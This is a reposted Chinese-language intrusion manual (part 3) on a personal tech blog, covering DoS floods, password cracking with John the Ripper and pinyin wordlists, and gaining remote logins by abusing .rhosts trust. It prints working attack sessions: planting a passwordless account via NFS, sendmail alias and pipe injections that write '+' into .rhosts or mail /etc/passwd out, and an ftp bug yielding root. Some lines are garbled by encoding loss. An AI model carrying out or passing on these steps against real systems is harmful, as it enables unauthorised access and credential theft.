網絡入侵實用戰術手冊alpha (3)

轉自INTERNET

2) 遠程控制
2.1) DoS攻擊
2.1.1) Syn-flooding
向目標發起大量TCP連接請求,但不按TCP協議規定完成正常的3次握手,導致目標系統等待# 耗費其
網絡資源,從而導致其網絡服務不可用。
2.1.2) Ping-flooding
向目標系統發大量ping包,i.e.ICMP_ECHO包,使目標的網絡接口應接不暇 被盡?


2.1.3) Udp-stroming
類似2.1.2)發大量udp包。
2.1.4) E-mail bombing
發大量e-mail到對方郵箱,使其沒有剩餘容量接收正常郵件。
2.1.5) Nuking
向目標系統某端口發送一點特定數據,使之崩潰。
2.1.6) Hi-jacking
冒充特定網絡連接之一放向網絡上發送特定包(FIN或RST),以中止特定網絡連接;

2.2) WWW(遠程執行)
2.2.1) phf CGI
2.2.3) campus CGI
2.2.4) glimpse CGI

(samsa:在網上看見NT下也有一個叫websn.exe的buggy CGI,詳情不清楚)

2.3) e-mail
同1.7,利用majordomo(ver. 1.94.3)的漏洞

2.4) sunrpc:rexd
據說如果rexd開放,且rpcbind不是secure方式,就相當於沒有口令,可以任意遠程
運行目標機器上的過?
2.5) x-windows
如果xhost的access control is disabled,就可以遠程控制這台機器的顯示系統,在
上面任意顯示,還可以偷竊鍵盤輸入和顯示內容,甚至可以遠程執行...

三、登堂入室(遠程登錄)
1) telnet
要點是取得用戶帳號和保密字
1.1) 取得用戶帳號
1.1.1) 使用「白手起家」中介紹的方法
1.1.2) 其他方法:e.g.根據從那個站點寄出的e-mail地址
1.2) 獲取口令
1.2.1) 口令破解
1.2.1.1) 使用「隔空取物」中介紹的方法取得/etc/passwd和/etc/shadow
1.2.1.2) 使用口令破解程序破解口令
e.g.使用john the riper:

# unshadow passwd shadow > pswd.1
# pwd_crack -single pswd.1
# pwd_crack -wordfile:/usr/dict/words -rules pswd.1
# pwd_crack -i:alph5 pswd.1

1.2.1.3) 使用samsa開發的適合中國人的字典生成程序

# dicgen 1 words1 /* 所有1音節的漢語拼音 */
# dicgen 2 words2 /* 所有2音節的漢語拼音 */
# dicgen 3 words3 /* 所有3音節的漢語拼音 */
# pwd_crack -wordfile:words1 -rules pswd.1
# pwd_crack -wordfile:words2 -rules pswd.1
# pwd_crack -wordfile:words3 -rules pswd.1

1.2.2) 蠻幹(brute force):猜測口令
猜法:與用戶名相同的口令,用戶名的簡單變體,機構名,機器型號etc
e.g. cxl: cxl,cxl111,cxl123,cxl12345,cxlsun,ultra30 etc...


(samsa:如果用戶數足夠多,這種方法還是很有效的:需要運氣和靈感)

2) r-命令:rlogin,rsh
關鍵在信任關係,即:/etc/hosts.equiv,~/.rhosts文件
2.1) /etc/hosts.equiv
如果/etc/hosts.equiv文件中有一個"+",那麼任何一台主機上的任何一個用戶(root除
外),可以遠程登錄而不需要口令,並成為該機上同名用戶;

2.2) ~/.rhosts
如果某用戶主目錄(home directory)下.rhosts文件中有一個"+",那麼任何一台主機上
的同名用戶可以遠程登錄而不需要口令

2.3) 改寫這兩個文件
2.3.1) nfs
如果某用戶的主目錄共享出來

# showmount -e numen
export list for numen:
/space/users/lpf sun9
/space/users/zw (everyone)
# mount -F nfs numen:/space/users/zw /mnt
# cd /mnt
# cd /mnt
# ls -ld .
drwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd
# echo zw::::::::: >> /etc/shadow
# su zw
$ cat >.rhosts
+
^D
$ rsh numen csh -i
Warning: no access to tty; thus no job control in this shell...
numen%

2.3.2) smtp
利用``decode''別名
a) 若任一用戶主目錄(e.g./home/zen)或其下.rhosts對daemon可寫,則 # echo "+" | uuencode /home/zen/.rhosts | mail [email protected]

(samsa:於是/home/zem/.rhosts中就出現一個"+")

b) 無用戶主目錄或其下.rhosts對daemon可寫,則利用/etc/aliases.pag,
因為許多系統中該文件是world-writable.

# cat decode
bin: "| cat /etc/passwd | mail [email protected]"
# newaliases -oQ/tmp -oA`pwd`/decode
# uuencode decode.pag /etc/aliases.pag | mail [email protected]
# /usr/lib/sendmail -fbin -om -oi [email protected] (samsa:wait .....)

c) sendmail 5.59 以前的bug

# cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
..
rcpt to: /home/zen/.rhosts
mail from: zen
data
+
+
..
quit
EOSM
# /bin/sh evil_sendmail
Trying xxx.xxx.xxx.xxx
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
# rlogin victim.com -l zen
Welcome to victim.com!
$

d) sendmail 的一個較`新'bug

# telnet victim.com 25
Trying xxx.xxx.xxx.xxx...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|echo + >> /home/zen/.rhosts"
250 "|echo + >> /home/zen/.rhosts"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
..
250 Mail accepted
quit
Connection closed by foreign host.
# rsh victim.com -l zen csh -i
Welcome to victim.com!
$

2.3.3) IP-spoofing
r-命令的信任關係建立在IP上,所以通過IP-spoofing可以獲得信任;

3) rexec
類似於telnet,也必須拿到用戶名和口令 4) ftp 的古老bug

# ftp -n
ftp> open victim.com
Connected to victim.com
ected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)

(samsa:你已經是root了)

By tony

自由軟體愛好者~喜歡不斷的思考各種問題,有新的事物都會想去學習嘗試 做實驗並熱衷研究 沒有所謂頂天的技術 只有謙虛及不斷的學習 精進專業,本站主要以分享系統及網路相關知識、資源而建立。 Github http://stnet253.github.io

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料